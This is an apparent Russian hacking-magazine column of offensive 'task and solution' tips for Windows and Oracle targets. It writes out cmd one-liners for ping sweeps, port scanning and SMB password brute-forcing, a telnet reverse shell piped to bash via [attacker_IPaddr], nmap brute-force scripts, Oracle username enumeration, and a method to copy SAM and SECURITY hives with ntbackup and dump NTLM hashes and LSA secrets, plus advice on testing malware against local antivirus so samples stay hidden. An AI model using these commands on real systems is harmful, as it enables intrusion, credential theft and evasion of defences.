Задача: Просмотреть запущенные процессы в многопользовательской системе

 

Решение

Такая задача может возникнуть, например, когда мы — обычный пользователь со стандартными правами на терминальном виндовом серваке и нам интересно, «чем заняты другие». Диспетчер задач (то, что запускается <ctrl+alt+del>) отображает только процессы пользователя запустившего его. Для просмотра всех процессов — просит уже более высоких привилегий.

Решение без использования сторонних программ типа Process Explorer’а от Русиновича есть. Имя ему — Tasklist. Это стандартная консольная тулза. Она выводит все запущенные в винде процессы, чем мы и можем воспользоваться.

Кроме этого, у программы есть еще пара юзабельных аргументов, которые могут пригодиться. Отображение служб для процессов:

tasklist /SVC

Отображение процессов с подгруженными dll’ками:

tasklist /P

 

Задача: Найти легкую альтернативу снифферам на базе Winpcap

 

Решение

Хочу познакомить тебя с недавней разработкой NETRESEC — небольшой тулзой, позволяющей снифать трафик. Зовут ее RawCap (www.netresec.com/?page=RawCap). Обладая не слишком серьезной функциональностью, она является отличным выбором для тех, кто по тем или иным причинам не может использовать библиотеку WinPCAP. Хоть возможности ее и невелики — мониторинг интерфейса и дамп всего в файл, но следующие преимущества заставляют к ней присмотреться:

  1. Весит она всего 17 Кб;
  2. Работает через стандартные raw sockets Windows (о том как реализовать сниффер на базе этой технологии, читай в статье «Скринсейвер-нюхач»);
  3. Отсутствие установки;
  4. Возможность прослушивания почти любых интерфейсов, включая WiFi-, loopback- и PPP-интерфейсы.

Из минусов стоит отметить следующие вещи. Во-первых, по заявлению разработчика — утилита не совсем корректно работает (пропускает пакеты) под Windows 7 (для входящих пакетов) и под Vista (для исходящих). Во-вторых, необходимо присутствие .NET Framework версии 2.0. В-третьих, потребность в админских правах.

Запускается тулза следующим образом:

RawCap.exe номер_интерфейса имя_файла_дампа

 

Задача: Сбор информации, а также перебор стандартными средствами Windows.

 

Решение

В продолжение предыдущей задачи давай посмотрим, что еще мы можем сотворить в консоли. Конечно, виндовая консоль — это то, с чем приходится мириться, а не то, чем хочется пользоваться, потому что удобно. Впрочем, это лирика. Итак, ситуация примерно следующая. Мы имеем права обычного пользователя на какой-то тачке. Что мы с этим можем сделать? Особенно, если доступ есть только к консоли (т.е. шелл).

Конечно, лучше всего было бы закачать того или иного софта и не мучиться. Но, во-первых, могут быть трудности с закачкой файлов (когда поовнилась машина за фаерволом и прямого доступа нет), во-вторых, антивирусы могут задететктить, если закачаешь какую-то ересь. Окей.

Так что же нам может предложить виндовая консоль и стандартные инструменты? Думаешь ничего? Как бы ни так. По сути, классический набор для сбора информации о сети, а кроме того — возможность проведения некоторых видов атак. Как раз об этом рассказывал Ed Skoudis в вебкасте «Penetration Testing Ninjitsu». Запись и слайды можно скачать здесь (www.coresecurity.com/content/webcast-series-with-sans).

Я же приведу несколько примеров оттуда:

C:> for /L %i in (1,1,255) do @ping 10.10.10.%i –n 1 | fi nd "Reply"

Здесь:

  • for — команда начала цикла;
  • /L — указывает, что цикл — счетчик;
  • %i — имя переменной цикла;
  • in (1,1,255) — значения от 1 до 255 с шагом 1;
  • do @ping — окончание цикла выполнением команды ping;
  • 10.10.10.%i — IP-адрес с подставленной переменной;
  • –n 1 — количество пингов;
  • | fi nd «Reply» — результата работы передаутся «|» на вход команде find, которая ищет слово «Replay».

Как видишь — все просто. Таким образом, мы находим живые хосты в диапазоне 10.10.10.1-255. Логику следующих примеров пояснять не буду, уверен, ты разберешься.

Добавлю еще только пару пояснений:

  • Command1 & Command2 — запуск нескольких команд;
  • Command1 && Command2 — запуск второй, только при успешном выполнении первой;
  • > — запись в файл;
  • >> — запись в конец файла;
  • For /F — цикл по файлу;
  • Command 2 > nul — стандартный вывод ошибок не отображается;
  • Command 2 >> errors.txt — ошибки в файле.

Итак, определяем имена хостов:

C:> for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2>nul | fi nd "Name" && echo 10.10.10.%i

Порт сканнер на базе ftp-клиента:

C:> for /L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt & echo open 192.168.0.1 %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>>ports.txt

Перебираем логины и пароли из файла на доступ к удаленному хосту по SMB:

C:> for /f %i in (user.txt) do @(for /f %j in (pass.txt) do @ echo %i:%j & @net use \10.10.10.10 %j /u:%i 2>nul && echo %i:%j >> success.txt && net use \10.10.10.10 /del)

Как видишь, весь набор: пинг, днс-резолв, портскан, брутфорс. И все вполне юзабельное. А что самое приятное — доступно «бесправным» юзерам. Кроме того, сбор баннеров и брутфорс других протоколов можно организовать аналогичным образом посредством telnet’а. Жаль только, что его убрали из винды, начиная с Vista.

О том, что возможностей в nix’ах гораздо больше, можно и не говорить. Ты только посмотри, как можно элегантно сделать реверсивный шелл через телнет:

telnet [attacker_IPaddr] [port1] | /bin/bash | telnet [attacker_IPaddr] [port2]

Однако и в винде можно жить. Остальные интересные примеры ищи в веб-касте.

 

Задача: Проверить малварь на детектируемость без сервисов вроде Virustotal.

 

Решение

В мартовском номере я уже писал про эту задачу. Нам требовалось проверить малварь на обнаружаемость антивирусами, но не хотелось бы, чтобы дикие экземпляры попадали в антивирусные компании. В качестве замены были предложены альтернативные онлайн-сканеры. Но только на платных обещалось, что экземплярчики никуда не уплывут. То есть по факту — половина решения.

Так вот, альтернативное решение. Недавно мне пришло письмо от человека с ником Himikat, в котором он скинул ссылку на проект «caps12-MultiScanner». Прочитать краткое описание и скачать можно на античате — forum.antichat.net/thread266146.html. Сайт проекта с последней версией ПО — caps12-security.blogspot.com.
Идея не нова, и в теории про это даже кто-то когда-то писал в журнал. Суть ее — развернуть все антивирусы у себя и у себя же проверять малварь. Таким образом, успешные экземпляры гарантированно не попадут в антивирусные компании.

Основная проблема — скучковать все антивири на одной машине без виртуальных машин. Что и было решено. В итоге получилась вполне годная утилита. Она позволяет поселить в одну систему целых 13 антивирусов, и они даже не поругаются. В основном — это самые распространенные аверы, однако тот же каспер в списке поддерживаемых отсутствует. Будем надеяться, что в следующих версиях он появится — проект, похоже, в стадии активного развития.

В процессе использования никаких сложностей не возникает. Основной алгоритм действий при первом запуске следующий:

  1. Запускаем тулзу;
  2. Выбираем интересующие нас антивирусы;
  3. Программа их скачивает;
  4. Обновляет их.

Далее мы можем выбирать интересующую нас малварь и проверять ее.

 

Задача: Подобрать имя пользователя СУБД Oracle.

 

Решение

Продолжаю тему по взлому базы данных Oracle и по терзанию одного из основных ее сетевых сервисов — TNS listener’а. Сегодня мы поговорим об авторизации в данной СУБД. Особенность ее заключается в том, что клиент при подключении сначала отправляет имя пользователя, сервер же проверяет его существование в базе, и если такового нет — отвечает «login denied», иначе — продолжается процесс авторизации. Таким образом, основываясь на ответе, мы можем перебирать имена пользователей.

Как видно, это — классическая уязвимость. Но оно и понятно — СУБД проектировали давно, о безопасности тогда, видимо, не особенно думали.

Реализует подобный перебор (по словарику) тулза ora-userenum. Она входит в OAK (Oracle Assessment Kit), который написал David Litchfield (www.databasesecurity.com/dbsec/OAK.zip). Исходники прилагаются, так что утилиту можно подправить по собственным нуждам.
Пример использования:

ora-userenum.exe 192.168.0.1 1521 ORCL1 userlist.txt

Где

  • 192.168.0.1 1521 — адрес и порт Oracle;
  • ORCL1 — SID базы данных;
  • userlist.txt — имена пользователей для перебора (стандартный словарь входит в OAK).

Перебрав имена пользователей БД, можно будет перейти к следующему шагу — подбору паролей, о котором мы еще поговорим.

 

Задача: Найти легковесную и простую альтернативу Metasploit Framework.

 

Решение

В последнее время msf все чаще привлекает к себе внимание. он все растет и растет. выходят новые версии. он облепляется новыми модулями, новыми возможностями. и, что ни говори, инструмент отличный. многие из тех, кто раньше просто присматривались, сейчас уже вплотную перебрались на msf или его платные варианты. но с ростом он явно потерял в оперативности, да и не все модули не под всеми ос работают, кое-что надо доустанавливать. хотя вторая трудность решается использованием подготовленных дистрибутивов вроде backtrack. кстати, уже вышла пятая версия bt, чему мы все можем только порадоваться. но возвращаясь к нашей задаче, могу сказать, что если надо сделать что-то оперативно, то на msf даже не смотри.

Nmap с его NSE (Nmap Scripting Engine) движком — вот реальное решение. Особенно, с учетом того, что скрипты для движка вовсю размножаются. Полный их список тут: nmap.org/nsedoc. Теперь к примерам.Брутфорсим комьюнити-стринги к snmp-сервису:

nmap –sU –p161 --script=snmp-brute --scriptargs=snmplist=communities.txt <target>

Здесь:

  • –sU — сканирование udp;
  • –p161 — порт snmp сервиса;
  • —script=snmp-brute — указываем, какой скрипт запускать;
  • —script-args=snmplist=communities.txt — передаем аргумент — список стрингов.

Файл для перебора лучше взять из внутренностей MSF. Кстати, в MSF данный модуль хреново работает под Win7. Брутфорс стандартных учеток к Oracle (аналогичный модуль MSF не работает под Win):

nmap --script oracle-brute -p 1521 --script-args oraclebrute.sid=ORCL <target>

Передача DNS-зоны:

nmap -p53 –script dns-zone-transfer –script-args
dnszonetransfer.domain=example.com <target>

Проверка хостов на основные уязвимости в SMB-протоколе. Самое интересное — MS08-067:

nmap -p445 –script=smb-check-vulns <target>

Находим в сети хосты с MSSQL-сервером и получаем инфу (версия, порт) о них:

nmap --script broadcast-ms-sql-discover

Всего скриптов порядка 200. Кроме того, есть целая куча библиотек, позволяющая самостоятельно разрабатывать новые скрипты.

 

Задача: Вынуть учетные записи из реестра Windows

 

Решение

Как ни странно, при взломе чаще всего достается именно виндовым машинкам. Захватив даже одну из них, можно поовнить всю cеть. Но об этом мы уже писали. Сегодня мы решаем практическую задачу — нужно вынуть NTLM-хэши из операционки. Можно было воспользоваться тулзами типа gsecdump, fgdump. Но тут имеются подводные камни.

Во-первых, будут орать антивирусы и проактивные защиты (из-за внедрения в процесс). Но это обходится. Во-вторых, есть проблемы с локализованными и 64-разрядными ОС, что уже существенно. Как решение можно использовать то, что NTLM-хэши и кэши хэшей (MS Cache) хранятся в реестре Windows. Если мы каким-то образом извлечем файлы реестра, то уже локально у себя на компе мы сможем вытащить необходимую нам инфу. Для вытаскивания мы можем воспользоваться либо знаменитым Cain&Abel’ем (www.oxid.it/cain.html), либо pythonскриптом (code.google.com/p/creddump). Если захочешь использовать creddump под Windows, то придется установить библиотеку pycrypto (www.amk.ca/python/code/crypto). Все просто, но нужные нам файлы реестра, так называемые ветви (hives), нельзя так просто прочитать или скопировать даже с самыми высокими привилегиями.

Имена файлов ветвей реестра в C:WINDOWSsystem32config

  • HKEY_CURRENT_CONFIG — System
  • HKEY_CURRENT_USER — Ntuser.dat
  • HKEY_LOCAL_MACHINESAM — Sam
  • HKEY_LOCAL_MACHINESecurity — Security
  • HKEY_LOCAL_MACHINESoftware — Software
  • HKEY_LOCAL_MACHINESystem — System
  • HKEY_USERS.DEFAULT — Default

Что же делать? Если есть физический доступ к компьютеру и возможность запустится с liveCD, то проблем нет — копируй. Иногда можно найти сохраненные копии этих файлов. Если же нет, то можно воспользоваться одним хитрым методом — стандартной системой бекапа. Все что нам потребуется — админские права на компе. Но есть и ограничения — метода работает на винде до висты и 2008 включая.

В этих «старых» операционках есть встроенная утилита для создания бекапа системы — ntbackup.exe. Запустить ее можно и в ГУИ, и в консольном варианте. Особенность ее состоит в том, что она может использовать фичу винды — Volume Shadow Copy (VSS). Это позволяет ей бекапить залоченные файлы. По сути, все что нам потребуется, так это выполнить следующую команду:

Ntbackup.exe backup systemstate /j "Blah-blah-blah" /f "c:backup.bkf"

Где:

  • backup — указываем, что создаем бекап;
  • Systemstate — бекапить критичные области ОС;
  • /j «Blah-blah-blah» — название задачи — любое;
  • /f «c:backup.bkf» — куда сохраняем наш файл бекапа.

И дальше придется подождать. Причем подождать пару тройку минут, так как бекапится будут все критичные области, а их в винде полно. Под XP у меня получался бекап размером в 500 метров. Немаленький, но по локалке скачать или на флешку закинуть (если ты злобный инсайдер) — небольшая проблема. Данный бекап можно разархивировать этой же тулзой (но уже у себя на компе) и заняться выковыриванием хэшей.

Кстати, здесь есть еще одна хитрость — когда мы бекапим критичные области, то ветки реестра (заодно так) копируются виндой в %systemroot%repair. Получается как бы создание некой точки восстановления. Этим-то мы и можем воспользоваться — все необходимые файлы реестра, их последние версии лежат там.

Получается, что скачивать, в принципе, нам потребуется всего порядка 10 мегабайт, а значит, данный метод можно использовать и при удаленных атаках. Метод отличный, однако (неизвестно почему) работает он не всегда, так что с полным бекапом надежнее. Теперь об ограничениях по ОС — начиная с Vista и 2008 Microsoft лишил нас утилиты ntbackup. Типа, там появилась встроенная система бекапа. Но и тут не все так плохо. Если мы скачаем файлы ntbackup.exe, ntmsapi.dll, vssapi.dll из %systemroot%system32 с машинки с XP и закачаем их на Висту, причем в любую папку, то тулза опять заработет, но возможно в урезанном режиме — без бекапа критичных областей. Что же делать? Как минимум, мы можем разбекапить краденые файлы.

Теперь немного непроверенной информации — для ОС Vista и 2008 (не R2) можно включить: «NTBackup can be used under Windows Vista and Windows Server 2008 by enabling the Removable Storage Manager component in Turn Windows features on or off control panel». Доступа к этим ОС у меня нет, проверить не смог. Говорят, что и в Win 7 и 2008 R2 — тоже (с некими извратами) это возможно.

Самое хорошее в этом методе — отсутствие проблем с антивирями и прочими защитными системами, так как мы остаемся в рамках стандартных возможностей. Ну а дальше, самое простое и приятное — получение хэшей и паролей.

Хэши учеток:

pwdump.py SYSTEM SAM

Пароли к сервисам (иногда в открытом виде):

lsadump.py SYSTEM SECURITY

Кэши хэшей:

cachedump.py SYSTEM SECURITY

Как видишь, все просто.

Оставить мнение

Check Also

Плохая логика. Выполняем произвольный код в популярном сервере приложений Oracle WebLogic

Новая уязвимость в Oracle WebLogic позволяет выполнять произвольные команды на целевой сис…